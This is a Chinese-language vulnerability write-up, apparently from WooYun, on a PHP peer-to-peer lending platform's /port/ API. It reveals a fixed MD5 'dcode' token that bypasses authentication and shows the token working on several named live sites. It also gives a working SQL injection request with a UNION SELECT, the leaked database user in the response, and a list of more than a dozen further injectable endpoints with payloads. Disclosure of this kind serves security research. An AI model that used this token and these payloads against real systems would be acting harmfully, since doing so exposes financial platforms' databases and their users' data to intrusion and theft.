WooYun.org

port目录下 首先随便看这目录下的这个文件
/port/limitApp.php

include("../core/config.inc.php");
include("ch_json_encode.php");
include_once("../modules/borrow/borrow.class.php");
/* ¶î¶ÈÉêÇë
 * 2014Äê1ÔÂ20ÈÕ 10:20:57   ÎéÐûÓî
 * ´«Èë²ÎÊý£ºÓû§ID£ºuser_id ¶î¶È£ºaccount ÉêÇëÀàÐÍ£ºtype ÉêÇëÄÚÈÝ£ºcontent  ±¸×¢£ºremark
 * ·µ»Ø²ÎÊý£ºapp_status³É¹¦1  app_statusʧ°Ü0 app_statusÒ»Ôºó-1 app_statusÒ»Ôºó-2
 */
global $mysql;
$ssql = "select * from `{system}` where nid='con_phonecode'";
$system = $mysql->db_fetch_array($ssql);
$ctstr=md5($system['value']);//md5
if($_REQUEST['dcode']!==$ctstr){ // 这里验证了一下 查询出来的
echo "¸ÃÒ³ÎÞ·¨ÏÔʾ£¡";   
exit;
}
$data['account'] = $_REQUEST['account'];
$data['content'] = $_REQUEST['content'];
$data['type'] = $_REQUEST['type'];
$data['remark'] = $_REQUEST['remark'];
$data['user_id'] = $_REQUEST['user_id'];
$result = borrowClass::GetAmountApplyOne(array("user_id" => $data['user_id'], "type" => $data['type']));
if ($result != false && $result['verify_time'] + 60 * 60 * 24 * 30 > time()) {
  $return_json['app_status'] = -1;
} elseif ($result != false && $result['addtime'] + 60 * 60 * 24 * 30 > time() && $result['status'] == 2) {
  $return_json['app_status'] = -2;

这里对查询出来的 MD5进行了验证
本来我还以为是随机的 结果是固定的。。
所有的都是shoujimd5
然后再进行md5一次 得到 7d5372bbcd6cc79f1bd71211f092622e
我们先测试一下demo
直接访问 http://121.40.166.230:10021/port/setPassword.php
返回 该页无法显示！
再访问 http://121.40.166.230:10021/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e
返回 {"set_status":"-1"}
说明过了这个验证 为了说明这个是固定的 再找几个官网上的成功案例测试一下
http://chinaanhe.com/anli/index.html 来到官网的成功案例来找
http://www.6scf.com/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e
http://www.qianyouzc.com/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e
http://www.bjwfund.com/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e
都返回了 并没有错误 说明是成功的 是固定的
再继续看代码

$data['account'] = $_REQUEST['account'];
$data['content'] = $_REQUEST['content'];
$data['type'] = $_REQUEST['type'];
$data['remark'] = $_REQUEST['remark'];
$data['user_id'] = $_REQUEST['user_id'];
$result = borrowClass::GetAmountApplyOne(array("user_id" => $data['user_id'], "type" => $data['type']));

http://www.pjjr658.com//port/limitApp.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x
数字型的 无视GPC了
MySQL错误信息：Unknown column 'x' in 'where clause'执行SQL语句错误!select p1.*,p2.username from `dw_user_amountapply` as p1 left join `dw_user` as p2 on p1.user_id=p2.user_id where 1=1 and p1.user_id=x order by p1.id desc
再继续看getLinkageOne.php

$ssql = "select * from `{system}` where nid='con_phonecode'";
$system = $mysql->db_fetch_array($ssql);
$ctstr=md5($system['value']);
if($_REQUEST['dcode']!==$ctstr){
echo "该页无法显示！";
exit;
}
$_sql = " where 1=1 ";
if (isset($_REQUEST['id']) && $_REQUEST['id'] != "") {
  $_sql .= " and p1.id = '{$_REQUEST['id']}'";
}
if (isset($_REQUEST['value']) && $_REQUEST['value'] != "") {
  $_sql .= " and p1.value = '{$_REQUEST['value']}'";
}
$sql = "select p1.id,p1.type_id,p1.name,p1.value from {linkage} as p1 
				left join {linkage_type} as p2 on p1.type_id=p2.id
				{$_sql}  order by p1.order desc,p1.id";

因为这request获取的是request url 导致了我们直接在浏览器中提交被urlencode
所以换burp提交把
POST ///port/getLinkageOne.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=1' and 0 union select 1,current_user,3,4# HTTP/1.1
Host: www.pjjr658.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: PHPSESSID=jjc6csk3leb1163n4ckggolsm4
Content-Length: 12
name=xxx
返回
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Sat, 08 Aug 2015 07:58:10 GMT
Content-Type: text/html;charset=GB2312
Connection: keep-alive
Content-Length: 62
[{"id":"1","type_id":"root@localhost","name":"3","value":"4"}]
大面积注入 剩下的就不分析了
/port/limitApp.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x
http://121.40.166.230:10021/port/setUserinfo.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x
/port/setAuto.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=1x
/port/login.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&username=xx'&password=xxx
GET /port/cashCancel.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=a' HTTP/1.1
/port/setUserBank.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x
GET /port/cashNew.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=a' HTTP/1.1
/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x'
GET /port/delAuto.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=a' HTTP/1.1
/port/setMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=x'&type=
/port/delFriend.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&friend_username=a'
/port/delMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&sent_user=a'
http://121.40.166.230:10021/port/tender.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=1asd
/port/userreg.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&username=a'
http://121.40.166.230:10021/port/tenderLiuzhuan.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x'
/port/sentMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&receive_user=x'
给个地址 不分析了